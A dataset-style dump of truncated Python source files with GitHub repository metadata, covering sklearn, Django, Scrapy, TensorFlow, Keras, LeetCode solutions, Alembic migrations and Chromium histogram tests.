[ "toutpt@gmail.com" ]
toutpt@gmail.com
4ae44a52ae0a90f5ce6d3046a79f21566eb04efa
22dcd52b6a07e82e8db9bf8b7ad38711d12f69a8
/venv/Lib/site-packages/sklearn/utils/seq_dataset.py
738c8a6be16c864aebeade2eb9ded721332807e8
[]
no_license
MrGreenPepper/music_cluster
9060d44db68ae5e085a4f2c78d36868645432d43
af5383a7b9c68d04c16c1086cac6d2d54c3e580c
refs/heads/main
2023-08-15T09:14:50.630105
2021-10-01T09:45:47
2021-10-01T09:45:47
412,407,002
0
0
null
null
null
null
UTF-8
Python
false
false
502
py
# THIS FILE WAS AUTOMATICALLY GENERATED BY deprecated_modules.py import sys from . import _seq_dataset from ..externals._pep562 import Pep562 from ..utils.deprecation import _raise_dep_warning_if_not_pytest deprecated_path = 'sklearn.utils.seq_dataset' correct_import_path = 'sklearn.utils' _raise_dep_warni...
[ "sebastian_truemper@posteo.de" ]
sebastian_truemper@posteo.de
564fd5a85ad260577bd5d9828960654f8cfe79e5
0e448933dd67f9233e8dbd198ea6d27e6afd67d9
/account/forms.py
0a610959a986d3a1036d3f5c2db086249e5f414e
[]
no_license
achiengcindy/bookmarks
1ef1d301508eb45775f724b6da2b343df8543fbb
e4c47b02f13bd55c2773775bc4843f63efa5264f
refs/heads/master
2021-08-27T20:28:32.644574
2017-11-28T07:32:04
2017-11-28T07:32:04
111,144,899
0
0
null
null
null
null
UTF-8
Python
false
false
911
py
from django.contrib.auth.models import User from django import forms from .models import Profile class LoginForm(forms.Form): username = forms.CharField() password = forms.CharField(widget=forms.PasswordInput) class UserRegistrationForm(forms.ModelForm): password = forms.CharField(label='Password', widget=forms...
[ "achiengcindy36@gmail.com" ]
achiengcindy36@gmail.com
fd236e862a9bfd7c3bfe8192e30f9f77cfa9536d
cbb450f658bec796e26061bdeafcd1cc44ee1159
/fzhtzj/fjhtzj/apps/news/migrations/0001_initial.py
e8f29fe37d553fa16e883eac1c3fe7a915ccbd1c
[]
no_license
ylz1990/htzj
4ddd4701ead6a49d254ff6df94d9db6a69066a79
6bf1192032b985a484dc9b2221f17410eb4475dc
refs/heads/master
2022-01-06T16:11:46.918336
2019-07-10T06:33:34
2019-07-10T06:33:34
192,693,393
0
0
null
null
null
null
UTF-8
Python
false
false
1,065
py
# Generated by Django 2.2 on 2019-06-27 08:32 from django.db import migrations, models import tinymce.models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='News', fields=[ ('id', ...
[ "pyvip@Vip.tz.cn" ]
pyvip@Vip.tz.cn
cdea9475506ef06acc12eeb3f1d3d8b27d47ca55
f26937e8cd0b07589ba1cf6275596d97488cda7e
/scrapySpider/mongoTest/build/lib/mongoTest/items.py
29119a5da459eab04fe94c97ff82d545bd0fe6ff
[]
no_license
HezhouW/hive
4aa46a045d22de121e2903075e74c3c9fd75ec1f
3a7de0c18cbe0ec81e0b40c3217dd5b1a15cf464
refs/heads/master
2022-02-27T04:52:42.704501
2019-05-24T02:40:49
2019-05-24T02:40:49
123,524,369
1
0
null
2018-03-02T03:18:07
2018-03-02T03:18:07
null
UTF-8
Python
false
false
349
py
# -*- coding: utf-8 -*- # Define here the models for your scraped items # # See documentation in: # http://doc.scrapy.org/en/latest/topics/items.html import scrapy class MongotestItem(scrapy.Item): # define the fields for your item here like: # name = scrapy.Field() title = scrapy.Field() movieName ...
[ "954316227@qq.com" ]
954316227@qq.com
bec4142b26da34cb0e079f5600d4f9ab3ce563bf
53fab060fa262e5d5026e0807d93c75fb81e67b9
/backup/user_070/ch32_2020_03_26_21_55_29_000008.py
802d7b3dde9f7a743884523a2716fe29a7ee7fd9
[]
no_license
gabriellaec/desoft-analise-exercicios
b77c6999424c5ce7e44086a12589a0ad43d6adca
01940ab0897aa6005764fc220b900e4d6161d36b
refs/heads/main
2023-01-31T17:19:42.050628
2020-12-16T05:21:31
2020-12-16T05:21:31
306,735,108
0
0
null
null
null
null
UTF-8
Python
false
false
341
py
def lista_primos(n): a=2 i=3 x=0 lista=[0]*n while x<n: lista[x]=a a+=1 if a%2==0: while a%2==0 or (a%i==0 and a>i): i=3 a+=1 while a%i!=0 and a>i: i+=2 x+=1 else: ...
[ "you@example.com" ]
you@example.com
bc264ae9d065b64acd9d84fbc3f04a67c2052ea3
048c4c7a0a7956e976a0cd0512ca9536c8aeb82d
/tefla/core/image_quality.py
455ca6156c6fccba2695fb40016fc2844ff044e9
[ "MIT" ]
permissive
mkulariya1/tefla
40d41242f08b4431a08f7dc6680088a234da5191
8de25c1b67dcf025535f5e8c40539de59acd7fb8
refs/heads/master
2020-04-24T15:46:51.866942
2019-02-04T18:33:49
2019-02-04T18:33:49
172,082,029
0
0
NOASSERTION
2019-02-22T14:41:53
2019-02-22T14:41:53
null
UTF-8
Python
false
false
5,967
py
"""Python implementation of MS-SSIM.""" import numpy as np from scipy import signal from scipy.ndimage.filters import convolve def FSpecialGauss(size, sigma): """Function to mimic the 'fspecial' gaussian MATLAB function.""" radius = size // 2 offset = 0.0 start, stop = -radius, radius + 1 if size % 2 == 0: ...
[ "mrinal.haloi11@gmail.com" ]
mrinal.haloi11@gmail.com
4f32bf298e54f2f7987c626a660c4c19e9fadff2
9645bdfbb15742e0d94e3327f94471663f32061a
/Python/1034 - Coloring A Border/1034_coloring-a-border.py
2b493c2baf0f2c8e7cf4f6570d80120a55d84abc
[]
no_license
aptend/leetcode-rua
f81c080b2260adb2da677612e5c437eda256781d
80e44f4e9d3a5b592fdebe0bf16d1df54e99991e
refs/heads/master
2023-06-22T00:40:05.533424
2021-03-17T13:51:28
2021-03-17T13:51:28
186,434,133
2
0
null
2023-06-21T22:12:51
2019-05-13T14:17:27
HTML
UTF-8
Python
false
false
1,109
py
from leezy import solution, Solution class Q1034(Solution): @solution def colorBorder(self, grid, r0, c0, color): # 152ms 87.36% M, N = len(grid), len(grid[0]) old_c = grid[r0][c0] dirs = [(1, 0), (-1, 0), (0, 1), (0, -1)] def dfs(i, j, border): is_border_cel...
[ "crescentwhale@hotmail.com" ]
crescentwhale@hotmail.com
73a825ef1c4e66bae05685af1cb2546236b23287
651802447b606e46fe1aee0490458bf4261661a0
/snafu/__main__.py
9ef2a936acf4d4f5457ea42a60652dafd000886a
[ "ISC" ]
permissive
MysteriousSonOfGod/snafu
e90a9101dd41c0523c4da529c28fffbe1814b13f
ddcbf8dc8f26fbab6f352058d4b3e62fd01ea331
refs/heads/master
2022-03-01T15:19:37.822762
2019-10-28T06:31:03
2019-10-28T06:31:03
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,625
py
import click class SnafuGroup(click.Group): """Force command name to 'snafu'. """ def make_context(self, info_name, *args, **kwargs): return super().make_context('snafu', *args, **kwargs) @click.group(cls=SnafuGroup, invoke_without_command=True) @click.option('--version', is_flag=True, help='Pri...
[ "uranusjr@gmail.com" ]
uranusjr@gmail.com
c793e91c6245dd84a9885fc97963c0193af6dcff
1ae95a907eda38bc49dba5ce24309a0d134a2fd8
/vladetina1/asgi.py
ede8d3a4e475252fb3a279974f137e0c6ed195b8
[]
no_license
ivanurban/vladetina_1-webapp
e43472edbf87485d1b606c9827988f7353adcf02
c37eea232b2fde654cb2de006a2c3d2fea838047
refs/heads/master
2022-12-08T04:56:11.729653
2020-08-28T22:36:35
2020-08-28T22:36:35
289,579,399
0
0
null
null
null
null
UTF-8
Python
false
false
397
py
""" ASGI config for vladetina1 project. It exposes the ASGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.1/howto/deployment/asgi/ """ import os from django.core.asgi import get_asgi_application os.environ.setdefault('DJANGO_SE...
[ "ivanurban_bg@yahoo.com" ]
ivanurban_bg@yahoo.com
e3860c147e56b05bdb47ca332ac3184f12e860cd
3326e1455f857704d144d069ffd0291ef3da830e
/torch2trt_dynamic/plugins/create_gridsample_plugin.py
d42250f0bd94f558c33dc7cb0ab0ea86bf1ecba4
[ "MIT" ]
permissive
AlanLu0808/torch2trt_dynamic
efc5b3d6cbaffffa43ad28f107ab3588bf135d5e
df864f906a8ae0b7b98680c1612903bdea58c744
refs/heads/master
2023-04-30T12:52:20.907104
2021-05-09T03:28:19
2021-05-09T03:28:19
null
0
0
null
null
null
null
UTF-8
Python
false
false
905
py
import numpy as np import tensorrt as trt def create_gridsample_plugin(layer_name, mode, padding_mode, align_corners): creator = trt.get_plugin_registry().get_plugin_creator( 'GridSamplePluginDynamic', '1', '') pfc = trt.PluginFieldCollection() pf_mode = trt.PluginField("mode", np.ar...
[ "streetyao@live.com" ]
streetyao@live.com
6164689de25188831b5f04895aff856313ea43e2
9495b91cbed933a55be172c2397c4083b5354faa
/app/user/models.py
0049a926fd00e9db2e3cfc84072e7112ed029ab6
[]
no_license
huyquyet/MMS_project
2f20fff079d201716bdd3f38f204dc3d06f1bada
01596fe39b41b4c1de29b15233fdf22639a21770
refs/heads/master
2021-01-10T10:09:44.045152
2015-11-16T10:37:41
2015-11-16T10:37:41
45,814,493
0
0
null
null
null
null
UTF-8
Python
false
false
785
py
from django.contrib.auth.models import User from django.db import models # Create your models here. from MMS_project import settings from app.position.models import Position from app.team.models import Team class Profile(models.Model): user = models.OneToOneField(User, related_name='profile') avata = models...
[ "nguyenhuyquyet90@gmail.com" ]
nguyenhuyquyet90@gmail.com
5c4f76c6e2b0ef09d415ea9640c17610cfa0689b
01fa2aca31eb73a559d192fd29e44350f26a13a9
/HAX/18.CocoJoe/script.module.civitasscrapers/lib/civitasscrapers/sources_civitasscrapers/en/reddit.py
4cd237137522d81a2fb22aa55a6be1f0a9cdb1f0
[]
no_license
RandomIntermition/k4y108837s
b4beedeff375645bd4fa9ad348631a9a9f3640b6
e9115aad49795dfe30a96c278cedaf089abcc11d
refs/heads/master
2022-05-01T18:45:57.298903
2022-03-30T03:41:08
2022-03-30T03:41:08
109,356,425
1
0
null
2019-11-08T02:20:47
2017-11-03T05:36:48
Python
UTF-8
Python
false
false
2,249
py
# -*- coding: utf-8 -*- ''' Eggman Add-on This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This progra...
[ "github+github@github.github" ]
github+github@github.github
56b08623e6f1caaa20f3bd30c23264c4a592c151
5085dfd5517c891a1f5f8d99bf698cd4bf3bf419
/087.py
05cfccf10e07977157fcd34d680304b9ba743426
[]
no_license
Lightwing-Ng/100ExamplesForPythonStarter
01ffd4401fd88a0b997656c8c5f695c49f226557
56c493d38a2f1a1c8614350639d1929c474de4af
refs/heads/master
2020-03-10T22:07:37.340512
2018-04-15T13:16:30
2018-04-15T13:16:30
129,611,532
0
0
null
null
null
null
UTF-8
Python
false
false
401
py
#!/usr/bin/env python # _*_ coding:utf-8 _*_ """ * @author: Lightwing Ng * email: rodney_ng@iCloud.com * created on Apr 15, 2018, 7:37 PM * Software: PyCharm * Project Name: Tutorial 题目:回答结果(结构体变量传递)。 程序分析:无。 """ class student: x, c = 0, 0 def f(stu): stu.x = 20 stu.c = 'c' a = student() a.x = 3 ...
[ "rodney_ng@icloud.com" ]
rodney_ng@icloud.com
84edb83be95037a7358797df88f5c9ca2978d486
53312f6eea68e95990923f9159e721f1c018b630
/app/services/company_services.py
6e5e4e381b04cd4c20520d51516a4a6b66c59af5
[]
no_license
BrunoGehlen/stocks_app
22978ba22c48af73263ce4bd18a2f985609eefe7
c496bafb8475f6557de29043fb98b366f1b01371
refs/heads/master
2023-04-14T20:46:45.786460
2021-05-03T20:35:42
2021-05-03T20:35:42
363,943,042
0
0
null
null
null
null
UTF-8
Python
false
false
1,179
py
from . import datetime, timedelta, HTTPStatus from app.serializers.company_schema import CompanySchema from app.models.company_model import CompanyModel class CompanyServices: def __init__(self, session): self.session = session self.todays_datetime = datetime( datetime.today().year, da...
[ "you@example.com" ]
you@example.com
15a91ca627f134ace4c89c131bedcf65cb1b99c4
00a086a141acc551c9e3aa23356013cdc8d61b61
/LeetCode/python/lc021.py
088a2b04cf2168f0f69ff793b21152f69dd47441
[]
no_license
ZwEin27/Coding-Training
f01cebbb041efda78bca4bf64e056133d7b7fad7
409109478f144791576ae6ca14e2756f8f2f5cb0
refs/heads/master
2021-01-18T12:25:06.081821
2016-09-04T17:43:44
2016-09-05T17:43:44
29,571,156
0
0
null
null
null
null
UTF-8
Python
false
false
884
py
#!/usr/bin/env python # Merge two sorted linked lists and return it as a new list. The new list should be made by splicing together the nodes of the first two lists. # Definition for singly-linked list. # class ListNode: # def __init__(self, x): # self.val = x # self.next = None class Solution: ...
[ "zwein27@gmail.com" ]
zwein27@gmail.com
3980853af39a2d0a86828f26258a712df25ceefd
a47e4026ab8f791518d0319c5f3ec8c5a8afec2e
/Terrain/midlout2h.py
84d08a8f8039a4bade027f5f33d7513e5de75c2f
[]
no_license
bobbyrward/horrible-terrain-demo
715064fd020a620751b0c99f0a324300dd4e387e
55c9add73f5179b4272538950ec8a713dbed88b2
refs/heads/master
2016-09-06T08:29:53.623401
2009-10-28T19:20:24
2009-10-28T19:20:24
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,840
py
import re import sys hresult_re = re.compile(r'STDMETHOD\((.*?)\)\(\s*THIS_?\s*(.*?)\)\s*PURE\s*;\s*') rval_re = re.compile(r'STDMETHOD_\((.*?), (.*?)\)\(\s*THIS_?\s*(.*?)\)\s*PURE\s*;\s*') # this """STDMETHOD(EndStateBlock)(THIS_ IDirect3DStateBlock9** ppSB) PURE; """ # to this """HRESULT EndStateBlock(IDirect3DSta...
[ "bobbyrward@gmail.com" ]
bobbyrward@gmail.com
64466beaf3a967d6e4a630cb489949ec77b7de52
17a655d21d7ddaf8cf60e23055e107cb602bd9bc
/project/bookmarker/signals.py
f25b97e867ff7e735283ada57d8066db7ebe124d
[]
no_license
geofferyj/YouTubeVideoBookmarker
fedb6913a8c5118c0a51f011244233630cf6f58c
fbf10230c5184cd1479dddafbcfd3609d5ac98f1
refs/heads/master
2023-08-04T22:30:37.636957
2021-03-01T08:09:46
2021-03-01T08:09:46
278,203,783
0
0
null
2021-09-22T19:46:09
2020-07-08T22:05:00
JavaScript
UTF-8
Python
false
false
1,646
py
from django.db.models.signals import post_save from django.contrib.auth.models import User from django.dispatch import receiver from bookmarker.models import Token, Video, ResetableViews, Subscription, VoicePause, VoicePlay # VoicePause @receiver(post_save, sender=User) def create_voicepause(sender, instance, created,...
[ "geofferyjoseph1@gmail.com" ]
geofferyjoseph1@gmail.com
0efe422b2d4a7ed61c38d320817a656491c43136
4809471274d6e136ac66d1998de5acb185d1164e
/pypureclient/flasharray/FA_2_5/models/alert_event_get_response.py
277b06b6969aff3effbb0edb3555fb2a5e1c3824
[ "BSD-2-Clause" ]
permissive
astrojuanlu/py-pure-client
053fef697ad03b37ba7ae21a0bbb466abf978827
6fa605079950765c316eb21c3924e8329d5e3e8a
refs/heads/master
2023-06-05T20:23:36.946023
2021-06-28T23:44:24
2021-06-28T23:44:24
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,805
py
# coding: utf-8 """ FlashArray REST API No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: 2.5 Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re import six import typing from ....
[ "hubert.chan@purestorage.com" ]
hubert.chan@purestorage.com
fef2f7c9212ccab6017d6dd21a22597a88f51592
fa6612470d814f365280b0480b14748f27c1333c
/Data Visualization with Matplotlib/23_sharexAxis.py
5e67e5f9cf5ee0bce913dac588aef4e1792b6f97
[]
no_license
SaretMagnoslove/Practical_Machine_Learning_with_python
ffca9da49774d6bf4c459960a691b8dc351f8f1f
2e426cecb99831bba75ff2faad1d61f1b802dacb
refs/heads/master
2020-03-23T02:16:24.274694
2018-09-25T23:19:51
2018-09-25T23:19:51
140,965,770
1
2
null
null
null
null
UTF-8
Python
false
false
3,683
py
import matplotlib.pyplot as plt import matplotlib.dates as mdates import matplotlib.ticker as mticker from matplotlib.dates import bytespdate2num from matplotlib.finance import candlestick_ohlc from matplotlib import style import numpy as np import urllib # style.use('ggplot') style.use('fivethirtyeight') MA1 = 10 MA...
[ "magnoslove@gmail.com" ]
magnoslove@gmail.com
8427a365418b51b3933a3c9fc1d994443f00f617
a3eb732ead7e1d10a85a88e42dc639eb16a40265
/instagram_api/response/archived_stories_feed.py
e0ea4adece55f9e2c80964fe8585b77857ed3be3
[ "MIT" ]
permissive
carsam2021/instagram_api
7654c0f485c22935cf478016e46e65acbeda9344
b53f72db36c505a2eb24ebac1ba8267a0cc295bb
refs/heads/master
2023-03-16T14:06:27.515432
2020-10-17T04:39:19
2020-10-17T04:39:19
null
0
0
null
null
null
null
UTF-8
Python
false
false
449
py
from .mapper import ApiResponse, ApiResponseInterface from .mapper.types import Timestamp, AnyType from .model import ArchivedStoriesFeedItem __all__ = ['ArchivedStoriesFeedResponse'] class ArchivedStoriesFeedResponseInterface(ApiResponseInterface): items: [ArchivedStoriesFeedItem] num_results: int more_...
[ "root@proscript.ru" ]
root@proscript.ru
d5639c623837332fced341fd3abdf47957f070cd
b24ce5acced59ef367a20706949953f3ea81d57a
/tensorflow/contrib/seq2seq/python/ops/basic_decoder.py
d19e2b0d5e469b484a16e9290a1cb09684c16638
[ "Apache-2.0" ]
permissive
BoldizsarZopcsak/Image-Classifier
b57dd3b72cf368cc1d66a5e318003a2a2d8338a4
c0d471a55a70b3118178488db3c005a9277baade
refs/heads/master
2022-11-19T12:28:49.625532
2018-01-20T15:48:48
2018-01-20T15:48:48
118,253,026
1
1
Apache-2.0
2022-11-01T09:24:24
2018-01-20T15:04:57
Python
UTF-8
Python
false
false
5,584
py
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
[ "zboldi@gmail.com" ]
zboldi@gmail.com
c69bb2f790f1d53f574bc2e900a0ceffb5445294
f7ee578df2ef14dca614ea2238520405a7bc1010
/emission/tests/storageTests/TestMoveFilterField.py
c371fc9aefc1b17ab39a5500b2cbb2002ccf0933
[ "BSD-3-Clause" ]
permissive
jeffdh5/e-mission-server
5a02583d7a06b902fa4c1af7858df58c0bd65145
c4e3ebdb77133a58b5e2796c8850b479ffa8a096
refs/heads/master
2020-12-11T07:38:18.620865
2015-12-31T01:05:37
2015-12-31T01:05:37
30,099,294
0
0
null
2015-01-31T02:14:15
2015-01-31T02:14:15
null
UTF-8
Python
false
false
3,565
py
# Standard imports import unittest import datetime as pydt import logging import json # Our imports import emission.core.get_database as edb import emission.storage.timeseries.format_hacks.move_filter_field as estfm # Test imports import emission.tests.common as etc class TestTimeSeries(unittest.TestCase): def s...
[ "shankari@eecs.berkeley.edu" ]
shankari@eecs.berkeley.edu
01d2e4527f7d2563f3902393cf341ec5f00e4969
f4b60f5e49baf60976987946c20a8ebca4880602
/lib64/python2.7/site-packages/acimodel-1.3_2j-py2.7.egg/cobra/modelimpl/nws/rtoverridefwpol.py
307c8d55e48a35eeb21395c77fc39efe8dff02b8
[]
no_license
cqbomb/qytang_aci
12e508d54d9f774b537c33563762e694783d6ba8
a7fab9d6cda7fadcc995672e55c0ef7e7187696e
refs/heads/master
2022-12-21T13:30:05.240231
2018-12-04T01:46:53
2018-12-04T01:46:53
159,911,666
0
0
null
2022-12-07T23:53:02
2018-12-01T05:17:50
Python
UTF-8
Python
false
false
4,958
py
# coding=UTF-8 # ********************************************************************** # Copyright (c) 2013-2016 Cisco Systems, Inc. All rights reserved # written by zen warriors, do not modify! # ********************************************************************** from cobra.mit.meta import ClassMeta from cobra.m...
[ "collinsctk@qytang.com" ]
collinsctk@qytang.com
2e9f0ae01fbad3c4bae02bb7427a5b127c6d02ff
eb3683f9127befb9ef96d8eb801206cf7b84d6a7
/stypy/sgmc/sgmc_cache/taxonomy/builtin_functions/str/error_str_return_type.py
cffaa9f073b7b8d8146ea300f49c0b12c05ebde2
[]
no_license
ComputationalReflection/stypy
61ec27333a12f76ac055d13f8969d3e0de172f88
be66ae846c82ac40ba7b48f9880d6e3990681a5b
refs/heads/master
2021-05-13T18:24:29.005894
2018-06-14T15:42:50
2018-06-14T15:42:50
116,855,812
2
0
null
null
null
null
UTF-8
Python
false
false
2,866
py
# -*- coding: utf-8 -*- """ ORIGINAL PROGRAM SOURCE CODE: 1: # coding=utf-8 2: __doc__ = "str builtin is invoked and its return type is used to call an non existing method" 3: 4: if __name__ == '__main__': 5: # Call options 6: # () -> <type 'str'> 7: # (AnyType) -> <type 'str'> 8: 9: 10: # Call the...
[ "redondojose@uniovi.es" ]
redondojose@uniovi.es
d818f2b57247fda0d8236a1bd190811a8475a46a
6f917fb1840ea950b21941995ea96c3ec17d0a18
/Study/keras2/keras77_07_cifar10_InceptionV3.py
06f20232131f71809ece548e20bab695e8a87d22
[]
no_license
maiorem/Artificial-Intelligence
504a1656921c6d206237f17cd053ae38e1b4705c
367fbffb678bd1761105ae4f37f015f90120d3f0
refs/heads/main
2023-02-03T00:24:20.571707
2020-12-18T08:24:48
2020-12-18T08:24:48
311,254,233
0
0
null
null
null
null
UTF-8
Python
false
false
2,068
py
import numpy as np from tensorflow.keras.applications import InceptionV3 from tensorflow.keras.layers import Dense, Flatten, Input, BatchNormalization, Dropout, Activation from tensorflow.keras.models import Sequential, Model from tensorflow.keras.datasets import cifar10 from tensorflow.keras.utils import to_categorica...
[ "maiorem00@gmail.com" ]
maiorem00@gmail.com
c9638982979fe9123e4137a7d6a755d188484b69
e2e08d7c97398a42e6554f913ee27340226994d9
/pyautoTest-master(ICF-7.5.0)/test_case/scg/scg_DCHP_Server/test_c139270.py
09792a397e1f38790b7d1ba0d50c6c908e764c4c
[]
no_license
lizhuoya1111/Automated_testing_practice
88e7be512e831d279324ad710946232377fb4c01
b3a532d33ddeb8d01fff315bcd59b451befdef23
refs/heads/master
2022-12-04T08:19:29.806445
2020-08-14T03:51:20
2020-08-14T03:51:20
287,426,498
0
0
null
null
null
null
UTF-8
Python
false
false
2,516
py
import pytest import time import sys from os.path import dirname, abspath sys.path.insert(0, dirname(dirname(abspath(__file__)))) from page_obj.scg.scg_def_physical_interface import * from page_obj.scg.scg_def_vlan_interface import * from page_obj.scg.scg_def_bridge import * from page_obj.common.rail import * ...
[ "15501866985@163.com" ]
15501866985@163.com
9d6bbb76470fb5d0e262f7b536a47205de61ce1e
e1abd868bfad11bf93c50eee1dc9976674de2358
/setup.py
af6a5de4baca477cae84d74eba1926d6aac1f4f6
[]
no_license
markmuetz/scaffold_analysis
5c7e9d04b24abe3462c8946381f4cab264bf09e0
c02d32536c801b23ac8a71e36d25fa922e7cfd94
refs/heads/master
2022-06-03T16:13:54.775718
2022-05-31T13:22:24
2022-05-31T13:22:24
92,677,664
0
0
null
null
null
null
UTF-8
Python
false
false
1,463
py
#!/usr/bin/env python import os try: from setuptools import setup, Extension except ImportError: from distutils.core import setup, Extension from scaffold.version import get_version def read(fname): try: return open(os.path.join(os.path.dirname(__file__), fname)).read() except: retur...
[ "markmuetz@gmail.com" ]
markmuetz@gmail.com
c631ce14fa9545f28ff4141ddc75270876ae683c
da459298c4bdbb745f4ed80ce1c9da15dd8fbb34
/demisto_sdk/commands/format/update_genericmodule.py
6dae063b2baf56525d321cab77a0cde0727d3fff
[ "MIT" ]
permissive
demisto/demisto-sdk
af998a87523d03097f725ed8f31f6a44f4605ef2
3169757a2f98c8457e46572bf656ec6b69cc3a2e
refs/heads/master
2023-08-22T03:44:31.654275
2023-08-21T14:45:22
2023-08-21T14:45:22
219,291,269
63
75
MIT
2023-09-14T14:41:12
2019-11-03T11:36:13
Python
UTF-8
Python
false
false
2,162
py
from typing import Tuple from demisto_sdk.commands.common.constants import ( FILETYPE_TO_DEFAULT_FROMVERSION, FileType, ) from demisto_sdk.commands.common.logger import logger from demisto_sdk.commands.format.format_constants import ( ERROR_RETURN_CODE, SKIP_RETURN_CODE, SUCCESS_RETURN_CODE, ) from...
[ "noreply@github.com" ]
demisto.noreply@github.com
70b47bc20fa0747f8ebdcddca39cee6d773a59b7
b9b967c8154ffb3c3622c4b46065132a33e785f6
/server/migrations/versions/25bdca95116e_backfill_usernames_history.py
9d47ccf0e197217c90187c58165fcf84ba31396d
[ "Apache-2.0" ]
permissive
SURFscz/SBS
5917561656caec042e5a6c966aeb54b82e96f51d
b159eeb7a5b8246aebd9849b4b3b61b9af1a8514
refs/heads/main
2023-08-31T12:42:52.473898
2023-08-31T11:58:51
2023-08-31T11:58:51
162,148,147
4
1
Apache-2.0
2023-09-12T12:07:41
2018-12-17T15:05:54
JavaScript
UTF-8
Python
false
false
736
py
"""Backfill usernames history Revision ID: 25bdca95116e Revises: 3cda08121a2f Create Date: 2021-04-07 08:04:36.467191 """ from alembic import op from sqlalchemy import text # revision identifiers, used by Alembic. revision = '25bdca95116e' down_revision = '3cda08121a2f' branch_labels = None depends_on = None def u...
[ "oharsta@zilverline.com" ]
oharsta@zilverline.com
528a8ce895effa2425984fb1b4778eb503f97668
66c7b0da6ee27ddce0943945503cdecf199f77a2
/rllib/dataset/transforms/clipper.py
ae5dc975babb030a2182a4fe53278f08e935ae14
[ "MIT" ]
permissive
tzahishimkin/extended-hucrl
07609f9e9f9436121bcc64ff3190c966183a2cd9
c144aeecba5f35ccfb4ec943d29d7092c0fa20e3
refs/heads/master
2023-07-09T22:57:28.682494
2021-08-24T08:50:16
2021-08-24T08:50:16
383,819,908
0
0
null
null
null
null
UTF-8
Python
false
false
2,708
py
"""Implementation of a Transformation that clips attributes.""" import numpy as np import torch import torch.jit import torch.nn as nn from .abstract_transform import AbstractTransform class Clipper(nn.Module): """Clipper Class.""" def __init__(self, min_val, max_val): super().__init__() se...
[ "shi.tzahi@gmail.com" ]
shi.tzahi@gmail.com
25ba0535997991ef82b8d6d879ed5f81d8b47140
88ae8695987ada722184307301e221e1ba3cc2fa
/tools/metrics/histograms/merge_xml_test.py
3dab9df3b524089bca4f33a13110782a250d6cbe
[ "BSD-3-Clause" ]
permissive
iridium-browser/iridium-browser
71d9c5ff76e014e6900b825f67389ab0ccd01329
5ee297f53dc7f8e70183031cff62f37b0f19d25f
refs/heads/master
2023-08-03T16:44:16.844552
2023-07-20T15:17:00
2023-07-23T16:09:30
220,016,632
341
40
BSD-3-Clause
2021-08-13T13:54:45
2019-11-06T14:32:31
null
UTF-8
Python
false
false
7,500
py
# Copyright 2020 The Chromium Authors # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import unittest import xml.dom.minidom import expand_owners import histogram_paths import merge_xml class MergeXmlTest(unittest.TestCase): def testMergeFiles(self): """C...
[ "jengelh@inai.de" ]
jengelh@inai.de